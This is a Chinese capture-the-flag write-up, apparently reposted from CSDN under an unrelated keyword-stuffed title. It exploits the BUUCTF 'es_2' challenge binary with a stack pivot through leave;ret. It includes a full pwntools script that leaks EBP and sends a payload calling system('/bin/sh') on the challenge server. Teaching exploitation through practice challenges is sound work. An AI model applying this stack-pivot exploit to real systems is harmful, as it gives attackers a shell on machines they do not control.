您的位置:首页 > 教育 > 培训 > 低代码开发平台 开源_平台推广引流是什么意思_营销培训心得体会_中国疾控卫生应急服装

低代码开发平台 开源_平台推广引流是什么意思_营销培训心得体会_中国疾控卫生应急服装

2025/1/15 21:42:55 来源:https://blog.csdn.net/qq_33348179/article/details/144804381  浏览:    关键词:低代码开发平台 开源_平台推广引流是什么意思_营销培训心得体会_中国疾控卫生应急服装
低代码开发平台 开源_平台推广引流是什么意思_营销培训心得体会_中国疾控卫生应急服装

1.下载 checksec

用IDA32打开 定位main函数 

发现了个假的后门函数:

看看vul函数:

使用read读取 想到栈溢出 但是只有48个 只能覆盖EBP和返回地址 长度不够构造

所以使用栈迁移

栈迁移需要用到leave ret 使用ROPgadget找地址:

构造第一个payload 泄露EBP地址:

payload1 = b'a' * 0x27 + b'b'
p.send(payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))

得到了EBP地址 需要调试以得出EBP地址离输入的距离:

下断点到vul函数 单步运行到函数快结尾位置查看栈情况:

看到EBP距离输入的位置有 0x78-0x50=0x28的距离 所以EBP距离输入这个字符串的地址为0x28+0x10=0x38

接下来构造payload2 目的是使得EIP指向system函数

payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)

整体代码:

from pwn import *#p = process('./es_2')
p = remote("node5.buuoj.cn", 27573)
elf = ELF('./es_2')
sys_addr = elf.plt['system']
lea_ret_addr = 0x08048562#gdb.attach(p)
#pause()payload1 = b'a' * 0x27 + b'b'
p.sendafter(b"your name?", payload1)
p.recvuntil(b'b')
ebp = u32(p.recv(4))
print(hex(ebp))
stdin_addr = ebp - 0x38payload2 = b'aaaa' + p32(sys_addr) + b'aaaa' + p32(stdin_addr + 0x10) + b'/bin/sh\x00'
#在system函数前需要留空位 目的是在leave执行时pop ebp这一步让esp正好指向system函数
#参数必须是地址 所以传递的不能直接是binsh字符串而是其地址 前面知道了输入地址 再+0x10就能得出binsh地址
payload2 = payload2.ljust(0x28, b'\x00')
#填充payload2使其到达ebp位置
payload2 += p32(stdin_addr) + p32(lea_ret_addr)p.send(payload2)
p.interactive()

运行 得到flag:

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com